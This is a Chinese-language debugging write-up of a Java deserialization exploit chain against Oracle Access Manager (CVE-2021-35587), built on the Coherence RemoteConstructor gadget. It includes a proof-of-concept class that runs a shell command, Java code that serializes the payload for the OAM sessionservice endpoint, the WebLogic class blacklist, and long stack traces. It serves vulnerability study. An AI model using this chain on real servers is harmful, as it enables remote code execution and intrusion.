第64行执行前:

image-20220713200544155

第64行执行后:

image-20220713200651318

跟进查看defineClass如何起作用?

第83行对类名做了替换

image-20220713201158026

这是因为创建ClassIdentity的时候做了替换

1
2
3
4
//com.tangosol.internal.util.invoke.ClassIdentity
public ClassIdentity(Class<?> clazz) {
        this(clazz.getPackage().getName().replace('.', '/'), clazz.getName().substring(clazz.getName().lastIndexOf(46) + 1), Base.toHex(md5(clazz)));
}

跟进defineClass,最终会来到

1
java.lang.ClassLoader#defineClass(java.lang.String, byte[], int, int, java.security.ProtectionDomain)

其中的defineClass1是native代码了

image-20220713202547432

image-20220713202618096

实例化恶意类:createInstance

真正的sink点在createInstance:

image-20220713191543468

获取test7的构造函数并调用

image-20220713191749943

调用到native代码

image-20220713192142582

这里不知为何没有走到 java.lang.invoke.MethodHandle#invokeExact

image-20220713192840418

而是走到了 java.lang.invoke.Invokers#checkExactType,并且调用栈经过了一处 java.lang.invoke.LambdaForm#LambdaForm 暂时没搞懂是什么魔法。

image-20220713192944938

然后跳转到 LambdaForm ,走到 java.lang.invoke.Invokers#checkCustomized

image-20220713193314126

然后跳转到 LambdaForm ,走到 java.lang.invoke.MethodHandleImpl#checkSpreadArgument

image-20220713193421651

然后跳转到 LambdaForm ,走到 java.lang.invoke.Invokers#checkGenericType

image-20220713193532967

然后跳转到 LambdaForm ,又走到 java.lang.invoke.Invokers#checkCustomized

然后跳转到 LambdaForm,走到 java.lang.invoke.DirectMethodHandle#allocateInstance

image-20220713193812779

sun.misc.Unsafe#allocateInstance定义如下

image-20220713193927133

根据描述,allocateInstance这个native函数只是创建一个实例,但没有执行任何构造函数。也确实观察到,到这里为止我们的touch文件的操作都还是没有发生。

又经过一个魔法般的LambdaForm跳转,我们来到了 java.lang.invoke.DirectMethodHandle#constructorMethod

image-20220713194159162

执行构造函数(恶意代码)

又一次不知道怎么发生的LambdaForm跳转之后,我们来到了test7的构造函数。

image-20220713194252353

此时完整的调用栈如下

image-20220713194738012

至此我们就完成了整个gadget的跟踪。

返回创建的对象

回到最开始的地方,将obj替换为rep

image-20220713195827024

这里check为null

image-20220713195933608

直接返回rep对象作为最终结果。

构造payload

直接使用gadget:ClassNotFoundException

将CVE-2020-14644的这条gadget的序列化数据封装成接口 /oam/server/opensso/sessionservice 能够处理的数据:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
    private static void cve_2020_14644() {
        ClassIdentity classIdentity = new ClassIdentity(test7.class);
        ClassPool cp = ClassPool.getDefault();
        CtClass ctClass = null;
        try {
            ctClass = cp.get(test7.class.getName());
            ctClass.replaceClassName(test7.class.getName(), test7.class.getName() + "$" + classIdentity.getVersion());
            RemoteConstructor constructor = new RemoteConstructor(
                    new ClassDefinition(classIdentity, ctClass.toBytecode()),
                    new Object[]{}
            );
            String sobj = oamserialize(constructor);
            System.out.println(sobj);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

进入到readOrdinaryObject()

image-20220714101700984

isInstantiable()返回false

image-20220714103354981

这个方法在1.)类是externalizable 的且有public的无参构造器2.)类是non-externalizable且第一个不可序列化父类有可访问的无参构造器时返回true,其余时候返回false。

externalizable和serializable的区别:简单来说,前者可以保存对象的全部或一部分的状态,过程完全由程序逻辑控制,后者必须全部保存,过程由JVM完全控制。

The process of writing the state of an object to a file is called serialization, but strictly speaking, it is the process of converting an object from java supported form into a file-supported form or network-supported form by using fileOutputStream and objectOutputStream classes we can implement serialization.

But we can serialize only serializable objects. An object is said to be serializable if and only if the corresponding class implements a Serializable interface. Serializable interface is present in java.io package, and it doesn’t contain any method and hence it is a marker interface. If we are trying to serializable a non-serializable object then we will get Runtime Exception saying notSerializableException.

In serialization, everything is taken care of by JVM and the programmer doesn’t have any control. In serialization, it is always possible to solve the total object to file, and it is not possible to save part of the object which may create performance problems. To overcome this problem we should go for externalization.

The main advantage of Externalizable over serialization is, everything is taken care of by the programmer and JVM doesn’t have any control. Based on our requirements we can save either the total object or part of the object which improves the performance of the system. To provide the generalizable ability for any java object, it’s a mandate for the corresponding class to implement a generalizable interface.

——https://www.geeksforgeeks.org/difference-between-serializable-and-externalizable-in-java-serialization/

可以看到这是一个non-externalizable的类,而com.tangosol.internal.util.invoke.RemoteConstructor是有无参构造器的,那么为什么会返回false呢?

image-20220714110447494

对比CVE-2020-14644的ObjectStreamClass对象desc和CVE-2021-35587的desc

后者没有找到构造器cons

image-20220714115825664

前者有

image-20220714115911777

所以后者的isInstantiable()返回了false。

至于为什么两种环境下识别到的cons不同,让我们跟入 java.io.ObjectInputStream#readClassDesc 对比一下。

会进入到readNonProxyDesc(boolean unshared)

image-20220714111616759

image-20220714141606125

image-20220714141709907

weblogic环境下,ClassLoader是 sun.misc.Launcher.AppClassLoader#AppClassLoader,加载了134个类

image-20220714142930193

class com.tangosol.internal.util.invoke.RemoteConstructor 就在其中

image-20220714143114667

执行以下代码确认存在

1
2
3
4
5
6
Iterator iterator=latestUserDefinedLoader().classes.iterator();
String res="";
while(iterator.hasNext()){
    if(iterator.next().toString().equals("class com.tangosol.internal.util.invoke.RemoteConstructor"))res="exist";
}
res

image-20220714144823617

于是成功获取到类

image-20220714143232448

weblogic环境中完成resolve以后,还会进入 filterCheck黑名单校验

image-20220714160408957

image-20220714114515979

黑名单列表如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
!com.bea.core.repackaged.springframework.aop.aspectj.*
!com.bea.core.repackaged.springframework.aop.aspectj.annotation.*
!com.bea.core.repackaged.springframework.aop.aspectj.autoproxy.*
!com.bea.core.repackaged.springframework.beans.factory.support.*
!com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager
!com.sun.org.apache.xalan.internal.xsltc.trax.*
!java.rmi.activation.*
!java.rmi.server.RemoteObject
!java.rmi.server.RemoteObjectInvocationHandler
!java.rmi.server.UnicastRemoteObject
!javassist.*
!org.apache.commons.collections.functors.*
!org.codehaus.groovy.runtime.ConversionHandler
!org.codehaus.groovy.runtime.ConvertedClosure
!org.codehaus.groovy.runtime.MethodClosure
!org.jboss.interceptor.builder.*
!org.jboss.interceptor.proxy.*
!org.jboss.interceptor.reader.*
!org.jboss.interceptor.spi.metadata.*
!org.jboss.interceptor.spi.model.*
!org.python.core.*
!org.springframework.transaction.support.AbstractPlatformTransactionManager
!sun.rmi.server.*

显然 com.tangosol.internal.util.invoke.RemoteConstructor 不在其中。

而OAM环境下的ClassLoader是weblogic.utils.classloaders.GenericClassLoader,其中加载了2314个类

image-20220714142331001

并且其中有一个classPatterns列表

1
2
3
4
5
0 = {Pattern@37540} "^org.apache.commons.logging.{0,1}"
1 = {Pattern@37541} "^oracle.security.am.{0,1}"
2 = {Pattern@37542} "^com.tangosol.{0,1}"
3 = {Pattern@37543} "^org.eclipse.higgins.configuration.{0,1}"
4 = {Pattern@37544} "^org.python.{0,1}"

这个classPatterns用来判断是否委派给双亲

image-20220714143622321

但classLoader中还是有不少这样pattern的类的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Iterator iterator=latestUserDefinedLoader().classes.iterator();
List<String> res= new ArrayList<String>();
while(iterator.hasNext()){
    String item= iterator.next().toString();
    if(item.startsWith("class org.apache.commons.logging") ||
            item.startsWith("class oracle.security.am") ||
            item.startsWith("class com.tangosol") ||
            item.startsWith("class org.eclipse.higgins.configuration") ||
            item.startsWith("class org.python")){
        res.add(item);
    }
}
res

image-20220714150815941

OAM中没有获取到类,并且抛出了异常

1
java.lang.ClassNotFoundException: com.tangosol.internal.util.invoke.RemoteConstructor

image-20220714143749207

class com.tangosol.internal.util.invoke.RemoteConstructor 也确实不在其中

image-20220714144924938

延长gadget

参考网上资料发现类 weblogic.rmi.provider.BasicServiceContext 有一个属性是object类型

image-20220714163101595

延长利用链到这个类即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public static void cve_2021_35587(Class poccls) throws Exception {
    ClassIdentity classIdentity = new ClassIdentity(poccls);
    ClassPool cp = ClassPool.getDefault();
    CtClass ctClass = cp.get(poccls.getName());
    ctClass.replaceClassName(poccls.getName(), poccls.getName() + "$" + classIdentity.getVersion());
    RemoteConstructor constructor = new RemoteConstructor(
            new ClassDefinition(classIdentity, ctClass.toBytecode()),
            new Object[]{}
    );
    BasicServiceContext basicServiceContext=new BasicServiceContext(1,constructor);
    System.out.println(oamserialize(basicServiceContext));
}

移植gadget报错:NoClassDefFoundError

NoClassDefFoundError

CVE-2020-14644最初版本的poccls如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
package pers.neo;
import com.tangosol.internal.util.invoke.Remotable;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import java.io.IOException;
import java.io.Serializable;
public class test7 implements Remotable,Serializable {
    public test7()  {
        String cmd = "touch /tmp/hackedbyneo8";
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    
    public RemoteConstructor getRemoteConstructor() {
        return null;
    }
    public void setRemoteConstructor(RemoteConstructor remoteConstructor) {}
}

最初版本的CVE-2021-35587() 如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
	public static void cve_2021_35587(Class poccls) throws Exception {
        ClassIdentity classIdentity = new ClassIdentity(poccls);
        ClassPool cp = ClassPool.getDefault();
        CtClass ctClass = cp.get(poccls.getName());
        ctClass.replaceClassName(poccls.getName(), poccls.getName() + "$" + classIdentity.getVersion());
        RemoteConstructor constructor = new RemoteConstructor(
                new ClassDefinition(classIdentity, ctClass.toBytecode()),
                new Object[]{}
        );
        
        AttributeHolder attributeHolder=new AttributeHolder();
        Method setInternalValue=attributeHolder.getClass().getDeclaredMethod("setInternalValue",Object.class);
        setInternalValue.setAccessible(true);
        setInternalValue.invoke(attributeHolder,constructor);
        BasicServiceContext basicServiceContext=new BasicServiceContext(1,attributeHolder);
        
        System.out.println(oamserialize(basicServiceContext));
    }

将test7直接用传入CVE-2021-35587() 函数中,会报错

终端错误日志如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# docker exec oamms tail -f  /u01/oracle/user_projects/domains/access_domain/logs/oam_server1-ms-oamms.log

<Jul 14, 2022 11:02:07,458 AM UTC> <Error> <HTTP> <BEA-101017> <[ServletContext@523535658[app:oam_server module:oam path:null spec-version:3.1]] Root cause of ServletException.
java.lang.NoClassDefFoundError: com/tangosol/internal/util/invoke/Remotable
	at java.lang.ClassLoader.defineClass1(Native Method)
	at java.lang.ClassLoader.defineClass(ClassLoader.java:756)
	at java.lang.ClassLoader.defineClass(ClassLoader.java:635)
	at com.tangosol.internal.util.invoke.RemotableSupport.defineClass(RemotableSupport.java:181)
	at com.tangosol.internal.util.invoke.RemotableSupport.realize(RemotableSupport.java:137)
	Truncated. see log file for complete stacktrace
Caused By: java.lang.ClassNotFoundException: com.tangosol.internal.util.invoke.Remotable
	at java.lang.ClassLoader.findClass(ClassLoader.java:523)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
	at java.lang.ClassLoader.defineClass1(Native Method)
	at java.lang.ClassLoader.defineClass(ClassLoader.java:756)
	Truncated. see log file for complete stacktrace
> 

查看日志看到完整错误堆栈

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
<Jul 14, 2022 11:32:41,730 AM UTC> <Error> <HTTP> <BEA-101017> <[ServletContext@523535658[app:oam_server module:oam path:null spec-version:3.1]] Root cause of ServletException.
java.lang.NoClassDefFoundError: com/tangosol/internal/util/invoke/Remotable
	at java.lang.ClassLoader.defineClass1(Native Method)
	at java.lang.ClassLoader.defineClass(ClassLoader.java:756)
	at java.lang.ClassLoader.defineClass(ClassLoader.java:635)
	at com.tangosol.internal.util.invoke.RemotableSupport.defineClass(RemotableSupport.java:181)
	at com.tangosol.internal.util.invoke.RemotableSupport.realize(RemotableSupport.java:137)
	Truncated. see log file for complete stacktrace
Caused By: java.lang.ClassNotFoundException: com.tangosol.internal.util.invoke.Remotable
	at java.lang.ClassLoader.findClass(ClassLoader.java:523)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
	at java.lang.ClassLoader.defineClass1(Native Method)
	at java.lang.ClassLoader.defineClass(ClassLoader.java:756)
	Truncated. see log file for complete stacktrace
> 
<Jul 14, 2022 11:32:41,738 AM UTC> <Notice> <Diagnostics> <BEA-320068> <Watch "UncheckedException" in module "Module-FMWDFW" with severity "Notice" on server "oam_server1" has triggered at Jul 14, 2022 11:32:41 AM UTC. Notification details: 
WatchRuleType: Log 
WatchRule: (log.severityString == 'Error') and ((log.messageId == 'WL-101020') or (log.messageId == 'WL-101017') or (log.messageId == 'WL-000802') or (log.messageId == 'BEA-101020') or (log.messageId == 'BEA-101017') or (log.messageId == 'BEA-000802')) 
WatchData: MESSAGE = [ServletContext@523535658[app:oam_server module:oam path:null spec-version:3.1]] Root cause of ServletException.
java.lang.NoClassDefFoundError: com/tangosol/internal/util/invoke/Remotable
	at java.lang.ClassLoader.defineClass1(Native Method)
	at java.lang.ClassLoader.defineClass(ClassLoader.java:756)
	at java.lang.ClassLoader.defineClass(ClassLoader.java:635)
	at com.tangosol.internal.util.invoke.RemotableSupport.defineClass(RemotableSupport.java:181)
	at com.tangosol.internal.util.invoke.RemotableSupport.realize(RemotableSupport.java:137)
	at com.tangosol.internal.util.invoke.RemoteConstructor.newInstance(RemoteConstructor.java:122)
	at com.tangosol.internal.util.invoke.RemoteConstructor.readResolve(RemoteConstructor.java:233)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at java.io.ObjectStreamClass.invokeReadResolve(ObjectStreamClass.java:1275)
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2194)
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1665)
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:501)
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:459)
	at weblogic.rmi.provider.BasicServiceContext.readExternal(BasicServiceContext.java:56)
	at java.io.ObjectInputStream.readExternalData(ObjectInputStream.java:2234)
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2183)
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1665)
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:501)
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:459)
	at oracle.security.am.proxy.opensso.controller.OpenssoEngineController.unmarshal(OpenssoEngineController.java:2453)
	at oracle.security.am.proxy.opensso.controller.OpenssoEngineController.processEvent(OpenssoEngineController.java:1069)
	at oracle.security.am.controller.MasterController.processEvent(MasterController.java:596)
	at oracle.security.am.controller.MasterController.processRequest(MasterController.java:788)
	at oracle.security.am.controller.MasterController.process(MasterController.java:708)
	at oracle.security.am.pbl.PBLFlowManager.delegateToMasterController(PBLFlowManager.java:221)
	at oracle.security.am.pbl.PBLFlowManager.handleBaseEvent(PBLFlowManager.java:147)
	at oracle.security.am.pbl.PBLFlowManager.processRequest(PBLFlowManager.java:107)
	at oracle.security.am.pbl.transport.http.AMServlet.handleRequest(AMServlet.java:221)
	at oracle.security.am.pbl.transport.http.AMServlet.doPost(AMServlet.java:177)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:707)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
	at weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:295)
	at weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:260)
	at weblogic.servlet.internal.StubSecurityHelper.invokeServlet(StubSecurityHelper.java:137)
	at weblogic.servlet.internal.ServletStubImpl.execute(ServletStubImpl.java:353)
	at weblogic.servlet.internal.TailFilter.doFilter(TailFilter.java:25)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at oracle.security.jps.ee.http.JpsAbsFilter$3.run(JpsAbsFilter.java:175)
	at java.security.AccessController.doPrivileged(Native Method)
	at oracle.security.jps.util.JpsSubject.doAsPrivileged(JpsSubject.java:315)
	at oracle.security.jps.ee.util.JpsPlatformUtil.runJaasMode(JpsPlatformUtil.java:650)
	at oracle.security.jps.ee.http.JpsAbsFilter.runJaasMode(JpsAbsFilter.java:112)
	at oracle.security.jps.ee.http.JpsAbsFilter.doFilterInternal(JpsAbsFilter.java:293)
	at oracle.security.jps.ee.http.JpsAbsFilter.doFilter(JpsAbsFilter.java:150)
	at oracle.security.jps.ee.http.JpsFilter.doFilter(JpsFilter.java:94)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at oracle.dms.servlet.DMSServletFilter.doFilter(DMSServletFilter.java:248)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at oracle.jrf.servlet.ExtensibleGlobalFilter.doFilter(ExtensibleGlobalFilter.java:92)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.wrapRun(WebAppServletContext.java:3797)
	at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.run(WebAppServletContext.java:3763)
	at weblogic.security.acl.internal.AuthenticatedSubject.doAs(AuthenticatedSubject.java:344)
	at weblogic.security.service.SecurityManager.runAsForUserCode(SecurityManager.java:197)
	at weblogic.servlet.provider.WlsSecurityProvider.runAsForUserCode(WlsSecurityProvider.java:203)
	at weblogic.servlet.provider.WlsSubjectHandle.run(WlsSubjectHandle.java:71)
	at weblogic.servlet.internal.WebAppServletContext.doSecuredExecute(WebAppServletContext.java:2451)
	at weblogic.servlet.internal.WebAppServletContext.securedExecute(WebAppServletContext.java:2299)
	at weblogic.servlet.internal.WebAppServletContext.execute(WebAppServletContext.java:2277)
	at weblogic.servlet.internal.ServletRequestImpl.runInternal(ServletRequestImpl.java:1720)
	at weblogic.servlet.internal.ServletRequestImpl.run(ServletRequestImpl.java:1680)
	at weblogic.servlet.provider.ContainerSupportProviderImpl$WlsRequestExecutor.run(ContainerSupportProviderImpl.java:272)
	at weblogic.invocation.ComponentInvocationContextManager._runAs(ComponentInvocationContextManager.java:352)
	at weblogic.invocation.ComponentInvocationContextManager.runAs(ComponentInvocationContextManager.java:337)
	at weblogic.work.LivePartitionUtility.doRunWorkUnderContext(LivePartitionUtility.java:57)
	at weblogic.work.PartitionUtility.runWorkUnderContext(PartitionUtility.java:41)
	at weblogic.work.SelfTuningWorkManagerImpl.runWorkUnderContext(SelfTuningWorkManagerImpl.java:655)
	at weblogic.work.ExecuteThread.execute(ExecuteThread.java:420)
	at weblogic.work.ExecuteThread.run(ExecuteThread.java:360)
Caused By: java.lang.ClassNotFoundException: com.tangosol.internal.util.invoke.Remotable
	at java.lang.ClassLoader.findClass(ClassLoader.java:523)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
	at java.lang.ClassLoader.defineClass1(Native Method)
	at java.lang.ClassLoader.defineClass(ClassLoader.java:756)
	at java.lang.ClassLoader.defineClass(ClassLoader.java:635)
	at com.tangosol.internal.util.invoke.RemotableSupport.defineClass(RemotableSupport.java:181)
	at com.tangosol.internal.util.invoke.RemotableSupport.realize(RemotableSupport.java:137)
	at com.tangosol.internal.util.invoke.RemoteConstructor.newInstance(RemoteConstructor.java:122)
	at com.tangosol.internal.util.invoke.RemoteConstructor.readResolve(RemoteConstructor.java:233)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at java.io.ObjectStreamClass.invokeReadResolve(ObjectStreamClass.java:1275)
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2194)
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1665)
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:501)
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:459)
	at weblogic.rmi.provider.BasicServiceContext.readExternal(BasicServiceContext.java:56)
	at java.io.ObjectInputStream.readExternalData(ObjectInputStream.java:2234)
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2183)
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1665)
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:501)
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:459)
	at oracle.security.am.proxy.opensso.controller.OpenssoEngineController.unmarshal(OpenssoEngineController.java:2453)
	at oracle.security.am.proxy.opensso.controller.OpenssoEngineController.processEvent(OpenssoEngineController.java:1069)
	at oracle.security.am.controller.MasterController.processEvent(MasterController.java:596)
	at oracle.security.am.controller.MasterController.processRequest(MasterController.java:788)
	at oracle.security.am.controller.MasterController.process(MasterController.java:708)
	at oracle.security.am.pbl.PBLFlowManager.delegateToMasterController(PBLFlowManager.java:221)
	at oracle.security.am.pbl.PBLFlowManager.handleBaseEvent(PBLFlowManager.java:147)
	at oracle.security.am.pbl.PBLFlowManager.processRequest(PBLFlowManager.java:107)
	at oracle.security.am.pbl.transport.http.AMServlet.handleRequest(AMServlet.java:221)
	at oracle.security.am.pbl.transport.http.AMServlet.doPost(AMServlet.java:177)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:707)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
	at weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:295)
	at weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:260)
	at weblogic.servlet.internal.StubSecurityHelper.invokeServlet(StubSecurityHelper.java:137)
	at weblogic.servlet.internal.ServletStubImpl.execute(ServletStubImpl.java:353)
	at weblogic.servlet.internal.TailFilter.doFilter(TailFilter.java:25)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at oracle.security.jps.ee.http.JpsAbsFilter$3.run(JpsAbsFilter.java:175)
	at java.security.AccessController.doPrivileged(Native Method)
	at oracle.security.jps.util.JpsSubject.doAsPrivileged(JpsSubject.java:315)
	at oracle.security.jps.ee.util.JpsPlatformUtil.runJaasMode(JpsPlatformUtil.java:650)
	at oracle.security.jps.ee.http.JpsAbsFilter.runJaasMode(JpsAbsFilter.java:112)
	at oracle.security.jps.ee.http.JpsAbsFilter.doFilterInternal(JpsAbsFilter.java:293)
	at oracle.security.jps.ee.http.JpsAbsFilter.doFilter(JpsAbsFilter.java:150)
	at oracle.security.jps.ee.http.JpsFilter.doFilter(JpsFilter.java:94)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at oracle.dms.servlet.DMSServletFilter.doFilter(DMSServletFilter.java:248)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at oracle.jrf.servlet.ExtensibleGlobalFilter.doFilter(ExtensibleGlobalFilter.java:92)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.wrapRun(WebAppServletContext.java:3797)
	at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.run(WebAppServletContext.java:3763)
	at weblogic.security.acl.internal.AuthenticatedSubject.doAs(AuthenticatedSubject.java:344)
	at weblogic.security.service.SecurityManager.runAsForUserCode(SecurityManager.java:197)
	at weblogic.servlet.provider.WlsSecurityProvider.runAsForUserCode(WlsSecurityProvider.java:203)
	at weblogic.servlet.provider.WlsSubjectHandle.run(WlsSubjectHandle.java:71)
	at weblogic.servlet.internal.WebAppServletContext.doSecuredExecute(WebAppServletContext.java:2451)
	at weblogic.servlet.internal.WebAppServletContext.securedExecute(WebAppServletContext.java:2299)
	at weblogic.servlet.internal.WebAppServletContext.execute(WebAppServletContext.java:2277)
	at weblogic.servlet.internal.ServletRequestImpl.runInternal(ServletRequestImpl.java:1720)
	at weblogic.servlet.internal.ServletRequestImpl.run(ServletRequestImpl.java:1680)
	at weblogic.servlet.provider.ContainerSupportProviderImpl$WlsRequestExecutor.run(ContainerSupportProviderImpl.java:272)
	at weblogic.invocation.ComponentInvocationContextManager._runAs(ComponentInvocationContextManager.java:352)
	at weblogic.invocation.ComponentInvocationContextManager.runAs(ComponentInvocationContextManager.java:337)
	at weblogic.work.LivePartitionUtility.doRunWorkUnderContext(LivePartitionUtility.java:57)
	at weblogic.work.PartitionUtility.runWorkUnderContext(PartitionUtility.java:41)
	at weblogic.work.SelfTuningWorkManagerImpl.runWorkUnderContext(SelfTuningWorkManagerImpl.java:655)
	at weblogic.work.ExecuteThread.execute(ExecuteThread.java:420)
	at weblogic.work.ExecuteThread.run(ExecuteThread.java:360)
 SUPP_ATTRS = {severity-value=8, rid=0, partition-id=0, partition-name=DOMAIN} SERVER = oam_server1 TIMESTAMP = 1657798361730 USERID = <WLS Kernel> MACHINE = dfc3a0c6eea8 MSGID = BEA-101017 DATE = Jul 14, 2022 11:32:41,730 AM UTC SUBSYSTEM = HTTP CONTEXTID = 3c3067f6-a549-49e6-9215-202b032cf4e1-0000014f TXID =  THREAD = [ACTIVE] ExecuteThread: '20' for queue: 'weblogic.kernel.Default (self-tuning)' SEVERITY = Error  
WatchAlarmType: AutomaticReset 
WatchAlarmResetPeriod: 30000 
> 
<Jul 14, 2022 11:32:41,866 AM UTC> <Emergency> <oracle.dfw.incident> <BEA-000000> <incident 32 created with problem key "DFW-99998 [java.lang.ClassNotFoundException][oracle.security.am.proxy.opensso.controller.OpenssoEngineController.unmarshal][oam_server]"> 

是由 ClassNotFoundException: com.tangosol.internal.util.invoke.Remotable 引起的 NoClassDefFoundError: com/tangosol/internal/util/invoke/Remotable

通过下条件异常断点快速复现

1
this.detailMessage.contains("internal.util.invoke.Remotable")

image-20220714185615887

可以看到是在尝试defineclass的时候尝试用 weblogic.utils.classloaders.GenericClassLoader 去加载 com.tangosol.internal.util.invoke.Remotable ,但没有找到。

image-20220714185851405

搜索类加载器确实也没有

image-20220714190616935

报错完整调用栈

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
findLocalClass:1029, GenericClassLoader (weblogic.utils.classloaders)
findClass:990, GenericClassLoader (weblogic.utils.classloaders)
doFindClass:611, GenericClassLoader (weblogic.utils.classloaders)
loadClass:543, GenericClassLoader (weblogic.utils.classloaders)
loadClass:496, GenericClassLoader (weblogic.utils.classloaders)
loadClass:473, GenericClassLoader (weblogic.utils.classloaders)
doParentDelegate:584, GenericClassLoader (weblogic.utils.classloaders)
loadClass:526, GenericClassLoader (weblogic.utils.classloaders)
loadClass:496, GenericClassLoader (weblogic.utils.classloaders)
loadClass:71, ChangeAwareClassLoader (weblogic.utils.classloaders)
loadClass:405, ClassLoader (java.lang)
loadClass:351, ClassLoader (java.lang)
    【此处以上的部分通过调试才能看到,错误日志的报错只到native函数的调用为止】
defineClass1:-1, ClassLoader (java.lang)
defineClass:756, ClassLoader (java.lang)
defineClass:635, ClassLoader (java.lang)
defineClass:181, RemotableSupport (com.tangosol.internal.util.invoke)
realize:137, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadResolve:1275, ObjectStreamClass (java.io)
readOrdinaryObject:2194, ObjectInputStream (java.io)
readObject0:1665, ObjectInputStream (java.io)
readObject:501, ObjectInputStream (java.io)
readObject:459, ObjectInputStream (java.io)
readExternal:56, BasicServiceContext (weblogic.rmi.provider)
readExternalData:2234, ObjectInputStream (java.io)
readOrdinaryObject:2183, ObjectInputStream (java.io)
readObject0:1665, ObjectInputStream (java.io)
readObject:501, ObjectInputStream (java.io)
readObject:459, ObjectInputStream (java.io)
unmarshal:2453, OpenssoEngineController (oracle.security.am.proxy.opensso.controller)
